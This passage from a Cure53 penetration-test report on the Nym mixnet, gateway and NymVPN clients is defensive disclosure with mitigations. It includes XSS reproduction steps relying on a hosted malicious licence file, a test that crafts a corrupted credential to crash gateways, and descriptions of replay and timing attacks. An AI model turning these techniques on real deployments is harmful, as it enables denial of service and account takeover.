The excerpt below shows the client that mixnet nodes use to forward packets to the next hop. It is evident from the highlighted code snippet below that the client fails to filter the provided address, corresponding essentially to a *NymNodeRoutingAddress*, for internal or private addresses, and instead connects to the provided address.

Affected file #2:
nym/common/client-libs/mixnet-client/src/client.rs

Affected code #2:

```
async fn manage_connection(
    address: SocketAddr,
    receiver: mpsc::Receiver<FramedNymPacket>,
    connection_timeout: Duration,
    current_reconnection: &AtomicU32,
) {
    let connection_fut = TcpStream::connect(address);

    let conn = match tokio::time::timeout(connection_timeout,
connection_fut).await {
        Ok(stream_res) => match stream_res {
            Ok(stream) => {
                [...]
                Framed::new(stream, NymCodec)
            }
            Err(err) => {
                [...]
                return;
            }
        },
        [...]
    };
    [...]
    if let Err(err) = receiver.map(Ok).forward(conn).await {
        warn!("Failed to forward packets to {} - {err}", address);
    }
    [...]
}
```

To mitigate this issue, Cure53 advises dropping all Sphinx packets to either internal or private IP addresses, and not forwarding them through a mixnet node.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-021 WP3: Non-constant time compare of cryptographic secrets *(Info)*

During a source code review of the *nym* repository, the testing team found that the *prometheus.rs* file compares a provided access token with an actual access token value to authorize some HTTP requests to retrieve metrics. The comparison of the values is performed using the *!=* operator of Rust, resulting in a comparison that is linear in time regarding the access token's length.

The majority of programming languages compare strings, byte arrays, and other types element-by-element. In the event that two values differ at a certain element, the comparison function will be immediately terminated. Accordingly, adversaries can leverage this situation to measure the minimal time discrepancy between successful and unsuccessful element-wise comparisons.

As such, the exfiltrated side-channel insight can be leveraged to instigate brute-force attacks and retrieve sensitive information[26] in the worst-case scenario.

The excerpt below demonstrates the declaration of the *prometheus_access_token*. It is evident that the *MetricsAppState* struct uses an optional string for the access token.

Affected file #1:
nym/nym-node/nym-node-http-api/src/state/metrics.rs

Affected code #1:
```
pub struct MetricsAppState {
    pub(crate) prometheus_access_token: Option<String>,

    pub(crate) mixing_stats: SharedMixingStats,

    pub(crate) verloc: SharedVerlocStats,
}
```

The code snippet below demonstrates the *prometheus_metrics* function. One can deduce that the function utilizes Rust's *!=* operator for comparison.

Affected file #2:
nym/nym-node/nym-node-http-api/src/router/api/v1/metrics/prometheus.rs

Affected code #2:
```
pub(crate) async fn prometheus_metrics<'a>(
    TypedHeader(authorization): TypedHeader<Authorization<Bearer>>,
    State(state): State<MetricsAppState>,
) -> Result<String, StatusCode> {
    [...]
```

[26] https://codahale.com/a-lesson-in-timing-attacks/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    let Some(metrics_key) = state.prometheus_access_token else {
        return Err(StatusCode::INTERNAL_SERVER_ERROR);
    };

    if metrics_key != authorization.token() {
        return Err(StatusCode::UNAUTHORIZED);
    }

    Ok(metrics!())
}
```

To mitigate this issue, Cure53 advises converting data into byte arrays and comparing them in a constant time manner. In this context, this can be achieved by always iterating over the entire array and accumulating mismatches into a Boolean variable, or by using the *constant_time_eq* crate[27].

NYM-01-022 WP1/3: Explicitly raised, unrecoverable errors lead to DoS *(Medium)*

While reviewing the source code of the *nym* repository, it was found that, on many occasions, the API and backend services use Rust's *panic!* macro or even *process::exit* to alert on unexpected error situations. Similarly, the use of Swift's *fatalError* was also spotted on several occasions while reviewing the *nym-vpn-client* repository, which concerns the NymVPN apps. In general, panicking in services running in production is discouraged from a security perspective, as attackers may be able to trigger such panics. It must be noted that an attacker capable of triggering *panic!* macros could bring a service into a DoS situation due to a crash.

The code excerpts below demonstrate the issue on multiple occasions for the *panic!* macro of Rust. It must be noted that the list is not exhaustive, rather it solely reflects the occurrences spotted by Cure53 during this audit.

Affected file #1:
nym/nym-api/src/network_monitor/monitor/sender.rs

Affected code #1:

```
async fn merge_client_handles(&self, handles: Vec<GatewayClientHandle>) {
    let mut guard = self.active_gateway_clients.lock().await;
    for handle in handles {
        let raw_identity = handle.raw_identity();
        if let Some(existing) = guard.get(&raw_identity) {
            if !handle.ptr_eq(existing) {
                panic!("Duplicate client detected!")
            }
            [...]
        } else {
```

[27] https://docs.rs/constant_time_eq/latest/constant_time_eq/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            // client never existed -> just insert it
            guard.insert(raw_identity, handle);
        }
    }
}
```

Affected file #2:
nym/common/crypto/src/symmetric/stream_cipher.rs

Affected code #2:

```
pub fn iv_from_slice<C>(b: &[u8]) -> &IV<C>
where
    C: KeyIvInit,
{
    if b.len() != C::iv_size() {
        // `from_slice` would have caused a panic about this issue anyway.
        // Now we at least have slightly more information
        panic!(
            "Tried to convert {} bytes to IV. Expected {}",
            b.len(),
            C::iv_size()
        )
    }
    IV::<C>::from_slice(b)
}
```

Affected file #3:
nym/nym-api/src/coconut/api_routes/helpers.rs

Affected code #3:

```
pub(crate) fn build_credentials_response(
    raw: Vec<IssuedCredential>,
) -> Result<IssuedCredentialsResponse> {
    let mut credentials = BTreeMap::new();

    for raw_credential in raw {
        [...]
        let old = credentials.insert(id, api_issued);
        if old.is_some() {
            // why do we panic here rather than return an error? because
it's a critical failure because
            // since the raw values came directly from the database with
the PRIMARY KEY constraint
            // it should be IMPOSSIBLE to have duplicate values here
            panic!("somehow retrieved multiple credentials with id {id}
from the database!")
        }
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    }

    Ok(IssuedCredentialsResponse { credentials })
}
```

The excerpt below demonstrates the issue in the *nym_vpn_lib.swift* file. It is clear that the *write* function uses *fatalError* in case of a timestamp overflow.

Affected file #4:
nym-vpn-client/nym-vpn-apple/MixnetLibrary/Sources/MixnetLibrary/nym_vpn_lib.swift

Affected code #4:

```
public static func write(_ value: Date, into buf: inout [UInt8]) {
    var delta = value.timeIntervalSince1970
    var sign: Int64 = 1
    if delta < 0 {
        sign = -1
        delta = -delta
    }
    if delta.rounded(.down) > Double(Int64.max) {
        fatalError("Timestamp overflow, exceeds max bounds supported by
Uniffi")
    }
    let seconds = Int64(delta)
    let nanoseconds = UInt32((delta - Double(seconds)) * 1.0e9)
    writeInt(&buf, sign * seconds)
    writeInt(&buf, nanoseconds)
}
```

The excerpts below demonstrate the use of Rust's *process:exit* function. It must be noted that this function immediately terminates the current process with the specified exit code.

Affected file #5:
nym/nym-api/src/network_monitor/monitor/mod.rs

Affected code #5:

```
async fn submit_new_node_statuses(&mut self, test_summary: TestSummary) {
    [...]
    if let Err(err) = self
        .node_status_storage
        .insert_monitor_run_results(
            test_summary.mixnode_results,
            test_summary.gateway_results,
            test_summary
                .route_results
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                .into_iter()
                .map(|result| result.route)
                .collect(),
        )
        .await
    {
        [...]
        process::exit(1);
    }
}
```

Affected file #6:
nym/gateway/src/node/client_handling/websocket/connection_handler/authenticated.rs

Affected code #6:

```
fn forward_packet(&self, mix_packet: MixPacket) {
    if let Err(err) =
self.inner.outbound_mix_sender.unbounded_send(mix_packet) {
        error!("We failed to forward requested mix packet - {err}.
Presumably our mix forwarder has crashed. We cannot continue.");
        process::exit(1);
    }
}
```

To mitigate this issue Cure53 strongly advises walking through the entire codebase, and refactoring all *panic!* macros, as well as calls to *process::exit* and *fatalError*, to return values either wrapping a result or an error response.

NYM-01-023 WP2: XSS in Windows, Linux and Android applications *(Low)*

The observation was made that the JavaScript and Rust licenses displayed in the Legal section of the Windows and Linux desktop clients are rendered without sanitizing the Repository URL inserted within anchor tags.

This could lead to a Cross-Site Scripting (XSS) attack if an attacker was able to control any of the packages utilized and set the repository URL to a *javascript:* URI. This would then be executed in the context of the application when the affected dependency URL was middle-clicked by a user.

Due to the complicated pre-requisite of needing a compromised package for this issue to be exploitable, as well as the user interaction required, this issue was deemed *Miscellaneous*, with a *Low* severity.

Affected file #1:
/nym-vpn-client/nym-vpn-x/src/pages/settings/legal/licenses/LicenseDetails.tsx

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code #1:

```
<div className="flex flex-col gap-2">
  {label(t('repository'))}
  {repository && (
    <a
      className="truncate hover:underline"
      href={repository}
      target="_blank"
      rel="noreferrer"
    >
      {repository}
    </a>
  )}
</div>
```

Steps to reproduce:

1. Download *https://lbherrera.github.io/lab/cure53-301127/licenses-js.json* and drop it into the *nym-vpn-x/public/* folder to simulate the generation of a license file with a malicious repository URL.
2. Compile the nym-vpn-x for Windows or Linux and open the application.
3. Click on the *Settings* option, followed by *Legal*, and then on *Licenses (JS)*.
4. Access the *@alloc/quick-lru@5.2.0* license then middle-click on the repository URL. Arbitrary JavaScript will be executed in the application.

Similarly, note that several screens in the Android application (such as those displaying the licenses, the terms of use or the privacy statement) are also vulnerable to an XSS attack if an attacker is able to modify the pertinent app's assets. Since this attack vector requires an attacker with high privileges (possibly root access), this should be taken mostly as a hardening recommendation.

To give an example of one such screen affected by the XSS vulnerability, the following code snippet shows that in the licenses screen file the URL is extracted directly from the *scm* property in the license data without any validation and then the function *openWebPage* is called with that URL as input.

Affected file #2:
nym-vpn-client/nym-vpn-android/app/src/main/java/net/nymtech/nymvpn/ui/screens/settings/legal/licenses/LicensesScreen.kt

Affected code #2:

```
fun LicensesScreen(appViewModel: AppViewModel, viewModel: LicensesViewModel
= hiltViewModel()) {
[...]
        items(sortedLicenses) { it ->
            SurfaceSelectionGroupButton(
                items =
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                listOf(
                    SelectionItem(
                           title = {
                           [...]
                       },
                           description = {
                           [...]
                        },
                        onClick = {
                           if (it.scm != null) {
                               appViewModel.openWebPage(it.scm.url, context)
                           } else {
                               appViewModel.showSnackbarMessage(
                               context.getString(R.string.no_scm_found),
                               )
                           }
                        },
                     ),
                  ),
                )
        }
[...]
}
```

The following code excerpt shows that the *openWebPage* function doesn't sanitize the URL.

Affected file #3:
nym-vpn-client/nym-vpn-android/app/src/main/java/net/nymtech/nymvpn/ui/AppViewModel.kt

Affected code #3:

```
fun openWebPage(url: String, context: Context) {
    try {
        val webpage: Uri = Uri.parse(url)
        Intent(Intent.ACTION_VIEW, webpage).apply {
            addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
        }.also {
            context.startActivity(it)
        }
    } catch (e: ActivityNotFoundException) {
        Timber.e(e)
         showSnackbarMessage(context.getString(R.string.no_browser_detected)
)
    }
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To mitigate this issue for the Windows and Linux desktop clients, Cure53 recommends enforcing that the *repository* URL can only utilize a set of allow-listed protocols, such as *http://* or *https://*. For the Android application, the implementation of the *openWebPage* function is the root cause of the issue in all affected screens. Cure53 recommends fixing this so that it performs proper sanitization and utilizes allow-listed protocols such as *http://* or *https://*.

NYM-01-025 WP1: Incomplete error handling in network settings config. *(Low)*

During a source code review of the *nym-vpn-client* repository, it was found that the function that is used to establish the network settings for the tunnel interface - namely the *setNetworkSettings* function - fails to appropriately handle errors.

As can be seen in the following code excerpt, which is present in several files across the repository, a timeout of 5 seconds is defined as the maximum time to wait for the function *setTunnelNetworkSettings* to complete. However, the handling of potential errors is incomplete; comments in the code suggest that this was intended to be implemented. Note that if the system's *setTunnelNetworkSettings* call fails due to an error or timeout, the network configuration for the tunnel might be incomplete or incorrect, leading to a failed or unstable connection.

Affected file #1:
nym-vpn-client/nym-vpn-apple/NymMixnetTunnel/PacketTunnelProvider.swift

Affected file #2:
nym-vpn-client/nym-vpn-apple/NymMixnetTunnelmacOS/PacketTunnelProvider.swift

Affected file #3:
nym-vpn-client/nym-vpn-apple/NymMixnetTunnelSystemExtensionMacOS/PacketTunnelProvider.swift

Affected code:

```
private func setNetworkSettings(_ networkSettings:
NEPacketTunnelNetworkSettings) throws {
    var systemError: Error?
    let condition = NSCondition()

    // Activate the condition
    condition.lock()
    defer { condition.unlock() }

    setTunnelNetworkSettings(networkSettings) { error in
        systemError = error
        condition.signal()
    }
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    // Packet tunnel's `setTunnelNetworkSettings` times out in certain
    // scenarios & never calls the given callback.
    let setTunnelNetworkSettingsTimeout: TimeInterval = 5 // seconds

    if condition.wait(until:
Date().addingTimeInterval(setTunnelNetworkSettingsTimeout)) {
        // TODO: handle error
        if let systemError = systemError {
            // throw WireGuardAdapterError.setNetworkSettings(systemError)
        }
    } else {
        // self.logHandler(.error, "setTunnelNetworkSettings timed out
after 5 seconds; proceeding anyway")
    }
}
```

To mitigate this issue, Cure53 recommends implementing proper handling for both timeout scenarios and potential system errors. Further, note that incomplete error handling was observed in other functions throughout the repositories, so a careful global review of error handling is recommended.

NYM-01-026 WP1: Hostnames leakage by logging DNS resolution errors *(Info)*

While reviewing the source code of the *nym-vpn-client* repository, it was found that if an error occurs during DNS resolution, NymVPN logs the hostname that failed to resolve.

Logging hostnames on failed DNS resolution potentially leaks information that might be useful to an attacker with access to the logs. In particular, it could reveal network infrastructure details, or expose what services the user is trying to connect to, potentially affecting a user's privacy.

Affected file:
nym-vpn-client/nym-vpn-apple/NymWGTunnel/PacketTunnelProvider.swift

Affected code:

```
private extension PacketTunnelProvider {
    func handleError(with adapterError: WireGuardAdapterError,
completionHandler: @escaping (Error?) -> Void) {
        switch adapterError {
        case .cannotLocateTunnelFileDescriptor:
            logger.log(level: .error, "Starting tunnel failed: could not
determine file descriptor")

completionHandler(PacketTunnelProviderError.fileDescriptorFailure)
        case .dnsResolution(let dnsErrors):
            let hostnamesWithDnsResolutionFailure = dnsErrors.map
{ $0.address } .joined(separator: ", ")
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            logger.log(level: .error, "DNS resolution failed for the
following hostnames: \(hostnamesWithDnsResolutionFailure)")
            completionHandler(PacketTunnelProviderError.dnsResolveFailure)
        [...]
        }
    }
}
```

To mitigate this issue, Cure53 recommends making the DNS resolution error less descriptive, or redacting the hostnames before logging them.

NYM-01-028 WP2: Vulnerable libraries in multiple components *(Info)*

During the security assessment, the observation was made that several software packages leveraged outdated versions that are vulnerable to a host of security risks. The following software packages were identified as out-of-date and potentially insecure. Notably, the version information provided is based on data collected at the time of testing. Whether these vulnerabilities are exploitable entirely depends on how the relevant functionality is used in the targeted application at present.

Command:

```
% cd /nym-vpn-client/nym-vpn-x/src-tauri
% cargo audit

> error: 7 vulnerabilities found!
> warning: 6 allowed warnings found
```

Results:

Top-Level Component	Issues	Severity
cosmwasm-std	Arithmetic overflows in cosmwasm-std	N/A
Curve25519-dalek (3.2.0)	Timing variability in `curve25519-dalek`'s `Scalar29::sub`/`Scalar52::sub`	N/A
Curve25519-dalek (4.1.2)	Timing variability in `curve25519-dalek`'s `Scalar29::sub`/`Scalar52::sub`	N/A
libsqlite3-sys	`libsqlite3-sys` via C SQLite CVE-2022-35737	7.5 (High)
Rustls (0.20.9)	`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input	7.5 (High)
Rustls (0.20.10)	`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input	7.5 (High)
serde-json-wasm	Stack overflow during recursive JSON parsing	N/A

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It needs to be underlined that the testing team was unable to comprehensively prove any potential impact during this testing window. As such, the wider implications remain unknown at this point, and it is recommended that they are subjected to internal research at the earliest possible convenience for the in-house team.

Generally speaking, the provision of optimally robust supply chain security can be challenging to provide. Often, an easy or comprehensive solution cannot be offered, while the results and efficacy of the selected protection framework can vary depending on the integrated version of the deployed libraries.

To mitigate the existing issues as effectively as possible, Cure53 recommends upgrading all affected libraries and establishing a policy to ensure libraries remain up-to-date moving forward. This will ensure that the premise can benefit from patches rolled out for any previously detected weaknesses across a variety of different solutions.

NYM-01-029 WP3: Gateway WebSocket auth-bypass via replay attack *(Medium)*

Nym clients connect to a Nym gateway through the use of WebSockets. Initially, the client and gateway perform a handshake to establish a shared secret, resulting in a symmetric encryption key. It was found that Nym clients use this encryption key to encrypt their address by utilizing AES-CTR together with a random nonce, thereby demonstrating the knowledge of the shared secret. In conclusion, the triplet *(address, encrypted_address, iv)* serves as authentication credentials for a Nym client when authenticating to the Nym gateway. It was discovered that the Nym gateway fails to implement a mitigation against the replaying of such an authentication credential.

This enables an attacker that manages to acquire such an authentication credential to authenticate on the victim's behalf to a Nym gateway. It must be noted, though, that the Nym gateway checks for an active session of the client identified by the provided address. If there is an active session, then the gateway attempts to ping the client, and in the case that the ping fails, the gateway replaces the client with the attacker's connection.

The excerpt below demonstrates the entry point of new WebSocket messages in the gateway during initial authentication. The *perform_initial_authentication* function reads messages from the WebSocket and passes a message of type *Message::Text* on to the *handle_initial_authentication_request* function. This function attempts to create a *ClientControlRequest*, and if it is of the type *Authenticate* it passes the payload on to the *handle_authenticate* function. It should be noted that all values are taken from the WebSocket message, i.e. the values of the variables *address, enc_address* and *iv*.

Affected file #1:
nym/gateway/src/node/client_handling/websocket/connection_handler/fresh.rs

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code #1:

```
async fn handle_initial_authentication_request(
    &mut self,
    raw_request: String,
) -> Result<InitialAuthResult, InitialAuthenticationError>
where
    S: AsyncRead + AsyncWrite + Unpin + Send,
{
    if let Ok(request) = ClientControlRequest::try_from(raw_request) {
        match request {
            ClientControlRequest::Authenticate {
                protocol_version,
                address,
                enc_address,
                iv,
            } => {
                self.handle_authenticate(protocol_version, address,
enc_address, iv)
                    .await
            }
            [...]
        }
    } else {
        Err(InitialAuthenticationError::InvalidRequest)
    }
}
[...]
pub(crate) async fn perform_initial_authentication(
    mut self,
) -> Result<AuthenticatedHandler<R, S, St>, InitialAuthenticationError>
where
    S: AsyncRead + AsyncWrite + Unpin + Send,
{
    trace!("Started waiting for authenticate/register request...");

    while let Some(msg) = self.read_websocket_message().await {
        let msg = match msg {
            Ok(msg) => msg,
            Err(source) => {
                debug!("failed to obtain message from websocket stream!
stopping connection handler: {source}");
                return Err(InitialAuthenticationError::FailedToReadMessage
{ source });
            }
        };
        [...]
        // ONLY handle 'Authenticate' or 'Register' requests, ignore
everything else
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        match msg {
            // we have explicitly checked for close message
            Message::Close(_) => unreachable!(),
            Message::Text(text_msg) => {
                let (mix_sender, mix_receiver) = mpsc::unbounded();
                return match
self.handle_initial_authentication_request(text_msg).await {
                    [...]
                };
            }
            [...]
        };
    }

    Err(InitialAuthenticationError::ClosedConnection)
}
```

The excerpt below shows the further processing of the *ClientControlRequest::Authenticate* message. The *handle_authenticate* function parses the input strings, and checks if there is already an active client for the provided data. It was investigated further and this function performs a ping to the active client, which will be disconnected in the case of there being no ping response (which could be achieved by a sophisticated attacker actively dropping such packets). After handling duplicate clients, the function ultimately authenticates the client via the *authenticate_client* function, which verifies that the encrypted address decrypts correctly using the shared key between client and gateway, identified through the *client_address* parameter. It must be noted that the verification looks up the shared key using the provided *client_address*, and fails to detect a replayed initialization vector *iv*.

Affected file #2:
nym/gateway/src/node/client_handling/websocket/connection_handler/fresh.rs

Affected code #2:

```
async fn authenticate_client(
    &mut self,
    client_address: DestinationAddressBytes,
    encrypted_address: EncryptedAddressBytes,
    iv: IV,
) -> Result<Option<SharedKeys>, InitialAuthenticationError>
where
    S: AsyncRead + AsyncWrite + Unpin,
{
    [...]
    let shared_keys = self
        .verify_stored_shared_key(client_address, encrypted_address, iv)
        .await?;
    [...]
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
[...]
async fn handle_authenticate(
    &mut self,
    client_protocol_version: Option<u8>,
    address: String,
    enc_address: String,
    iv: String,
) -> Result<InitialAuthResult, InitialAuthenticationError>
where
    S: AsyncRead + AsyncWrite + Unpin,
{
    [...]
    let address = DestinationAddressBytes::try_from_base58_string(address)
        .map_err(|err|
InitialAuthenticationError::MalformedClientAddress(err.to_string()))?;
    let encrypted_address =
EncryptedAddressBytes::try_from_base58_string(enc_address)?;
    let iv = IV::try_from_base58_string(iv)?;
    [...]
    if let Some(client_tx) =
self.active_clients_store.get_remote_client(address) {
        warn!("Detected duplicate connection for client: {address}");
        self.handle_duplicate_client(address,
client_tx.is_active_request_sender)
            .await?;
    }

    let shared_keys = self
        .authenticate_client(address, encrypted_address, iv)
        .await?;
    [...]
}
```

To mitigate this issue, Cure53 advises implementing a protection against the replaying of authentication credentials. In this particular case, the encrypted addresses should be signed by the client's long-term identity key, which can be revealed during the initial handshake with the gateway. The legitimate client could use the long-term identity key to sign the encrypted address together with an expiration date, verified by the gateway.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-031 WP3: Panic in Nym gateway via faulty v1 bandwidth creds *(Medium)*

While reviewing the *nym* repository, it was found that the gateway deserializes client credentials after the handshake between client and gateway completes. The bandwidth credentials of version 1 have a fixed format, which includes the Coconut credentials of the user. It was found that the deserialization function fails to verify if the provided length of Coconut credentials results in an overflow when adding the constant integer 28, essentially resulting in a panic situation due to an overflow.

An attacker could use this and provide faulty version 1 bandwidth credentials to gateways. This leads to panics in the gateways attempting to deserialize the faulty credentials. Panics consume resources, and terminate the executing thread. Depending on the application architecture, it can even result in a crash of the entire application.

The unit test below demonstrates the issue. It was copied from the *old_v1_coconut_credential_roundtrip* test of the *nym/gateway/gateway-requests/src/models.rs* file, and the highlighted line was modified to serialize into a faulty bandwidth credential instead of a valid credential. The function for constructing the faulty credential is also shown below, and was added to the existing *OldV1Credential* implementation.

Unit-test:

```
impl OldV1Credential {
    [...]
    pub fn as_bytes_corrupted(&self, faulty_len: u64) -> Vec<u8> {
        let n_params_bytes = self.n_params.to_be_bytes();
        let theta_bytes = self.theta.to_bytes();
        let theta_bytes_len = theta_bytes.len();
        let voucher_value_bytes = self.voucher_value.to_be_bytes();
        let epoch_id_bytes = self.epoch_id.to_be_bytes();
        let voucher_info_bytes = self.voucher_info.as_bytes();
        let voucher_info_len = voucher_info_bytes.len();

        let mut bytes = Vec::with_capacity(28 + theta_bytes_len +
voucher_info_len);
        bytes.extend_from_slice(&n_params_bytes);
        bytes.extend_from_slice(&(faulty_len).to_be_bytes());
        bytes.extend_from_slice(&theta_bytes);
        bytes.extend_from_slice(&voucher_value_bytes);
        bytes.extend_from_slice(&epoch_id_bytes);
        bytes.extend_from_slice(voucher_info_bytes);

        bytes
    }
    [...]
}
[...]
#[test]
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
fn old_v1_coconut_credential_roundtrip_tampered() {
    [SAME AS IN TEST old_v1_coconut_credential_roundtrip]

    let serialized_credential =
credential.as_bytes_corrupted(u64::max_value()-15);
    let deserialized_credential =
OldV1Credential::from_bytes(&serialized_credential).unwrap();

    assert_eq!(credential, deserialized_credential);
}
```

Running the test above results in the output shown below. It is clear that the deserialization results in a panic situation due to an overflow.

Output:

```
thread 'models::tests::old_v1_coconut_credential_roundtrip_tampered'
panicked at gateway/gateway-requests/src/models.rs:106:26:
attempt to add with overflow
stack backtrace:
   [...]
   3: nym_gateway_requests::models::OldV1Credential::from_bytes
```

The excerpt below demonstrates the issue. The *from_bytes* function of the *OldV1Credential* implementation reads the value of *theta_len* without checking for its value, but rather adds the integer 28 instead.

Affected file:
nym/gateway/gateway-requests/src/models.rs

Affected code:

```
pub fn from_bytes(bytes: &[u8]) -> Result<Self, CoconutError> {
    [...]
    eight_byte.copy_from_slice(&bytes[4..12]);
    let theta_len = u64::from_be_bytes(eight_byte);
    if bytes.len() < 28 + theta_len as usize {
        return Err(CoconutError::Deserialization(String::from(
            "To few bytes in credential",
        )));
    }
    [...]
}
```

To mitigate this issue Cure53 advises checking if additions will result in overflows or not, and preventing panics in the application under any circumstances.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-035 WP5: Payload cipher needs strong pseudorandom-permutation *(Info)*

While reviewing the Sphinx protocol it was noticed that the selection of a strong encryption mode is essential for the security of the protocol, and that the encryption mode for the payload must therefore be chosen carefully.

The Sphinx paper[28] describes the requirements for the encryption of the payload as follows:

> *The payload of the message is kept separate from the mix header used to perform the routing. It is decrypted at each stage of mixing using a block cipher with a large block size (the size of the entire message), such as LIONESS.*

This definition leaves some room for interpretation, since the term “large size block cipher” is described as a pseudorandom permutation without specifying whether it should be a strong pseudorandom permutation or not. Hence, the exact requirement must be inferred from the properties that the protocol assumes. In particular, Section 4.4 notes the following:

> *the only salient difference between the messages is that the payload in the nymserver message is $\pi(k, 0^\kappa \| m)$ …*

Here *k* zeros are prepended to the message *m* before encrypting it. Prepending zeros to a message (as well as other forms of redundant information) can indeed be used as an integrity check, provided that the encryption mode is strong pseudorandom. This property has been analyzed in detail by Bellare and Rogaway[29]. Theorem 4.2 of this paper ensures that encrypting a message with sufficient redundancy has authenticity if the underlying encryption mode is strong pseudorandom. Hoang, Krovetz, and Rogaway come to a similar conclusion[30]. The paragraph “Authenticated encryption by enciphering” on page 1, section 0 explains the properties of a variable length block cipher. It reiterates that redundancy in the ciphertext can be used as an integrity check, providing that a strong pseudorandom permutation is being used.

Anderson and Biham[31] (also[32]) discuss the difference between LION and LIONESS. LION uses a 3-round Feistel construction, whereas LIONESS uses a 4-round construction. As described in section 6 of their paper 4 rounds are necessary to achieve the strong pseudorandomness property. Hence, using LIONESS would indeed be necessary to guarantee the security of the Sphinx protocol. Using LION leads to an unclear situation. While LION does not meet the theoretical requirements, it is unclear if any real-world attacks are possible if the protocol uses LION for the encryption of the payloads.

[28] https://cypherpunks.ca/~iang/pubs/Sphinx_Oakland09.pdf
[29] https://cseweb.ucsd.edu/~mihir/papers/ee.pdf
[30] https://competitions.cr.yp.to/round2/aezv41.pdf
[31] https://link.springer.com/chapter/10.1007/3-540-60865-6_48
[32] https://citeseerx.ist.psu.edu/document?repid=rep1&type=pdf&doi=b46e1[...]355558d91a19ad3f

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

If weaker encryption modes are being used, then attacks against anonymity are possible. An illustrative example of such attacks in case the underlying primitives have weak properties is discussed by Pfitzmann and Pfitzmann[33][34]. In their paper, the authors describe an attack that exploits the malleability of RSA. Similar attacks are possible when stream ciphers are used. One potential undesirable property is that two malicious mix nodes can try to link potential packets by modifying the payload on one node and trying to fix the modified packet in another node. The attacks are powerful when deduplication of packets can be bypassed or is not present, as is the case for the mixnet of Nym and summarized in issue NYM-01-020, as they give an adversary an additional attack vector. When the deduplication of the packets works, then these attacks appear to be more difficult to exploit.

Affected file:
nym-outfox/src/format.rs

Affected code:

```
pub fn encode_mix_layer(
        &self,
        buffer: &mut [u8],
        user_secret_key: &[u8],
        node_pub_key: &[u8],
        destination: &[u8; 32],
) -> Result<MontgomeryPoint, OutfoxError> {
        [...]
        // Do a round of LION on the payload
        lion_transform_encrypt(&mut buffer[self.payload_range()],
&shared_key.0)?;

        Ok(shared_key)
}
```

To mitigate this issue, Cure53 recommends that LIONESS (or a similar strong pseudorandom permutation) is used to encrypt payloads. Such a construction would have the required properties of the Sphinx protocol, and would remove the uncertainty of potential attack that is present when weaker encryption modes are used. If this part of the code is performance-critical, then AEZ could be considered as an alternative encryption mode[35]. It should be noted that following this recommendation also mitigates the attack vector described in NYM-01-013.

[33] https://iacr.org/cryptodb/data/paper.php?pubkey=2697
[34] https://citeseerx.ist.psu.edu/document?repid=rep1&type=pdf&doi=0a65a436dccdd[...]a85d9
[35] https://www.cs.ucdavis.edu/~rogaway/aez/index.html

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-036 WP1: Android app can save logs to Downloads folder *(Info)*

While reviewing the source code of the *nym-vpn-android* repository, it was observed that there is a function (namely *saveByteArrayToDownloads*) that saves data outside of the NymVPN sandbox, in particular in the Downloads folder of the mobile device. The calls to this function were investigated and it was found that the user can choose to save the log files generated by the NymVPN in the Downloads folder, likely for troubleshooting purposes.

Storing application logs in a folder that is accessible by other applications is convenient for the user, but it is not a good security practice, as it exposes the logs to unauthorized access by malicious applications present on the device, or even to leakage via backups. Although these logs have not been found to contain sensitive data, they could be used to infer possible usage patterns.

The following code excerpts show the function *saveByteArrayToDownloads*, which saves data into the publicly accessible folder “Downloads”, and how that function is called by the function *saveLogsToFile*, which ultimately stores the NymVPN logs outside its sandbox.

Affected file #1:
nym-vpn-client/nym-vpn-android/app/src/main/java/net/nymtech/nymvpn/util/FileUtils.kt

Affected code #1:

```
suspend fun saveByteArrayToDownloads(content: ByteArray, fileName: String):
Result<Unit> {
    return withContext(ioDispatcher) {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
                val contentValues =
                    ContentValues().apply {
                        put(MediaStore.MediaColumns.DISPLAY_NAME, fileName)
                        put(MediaStore.MediaColumns.MIME_TYPE,
Constants.TEXT_MIME_TYPE)
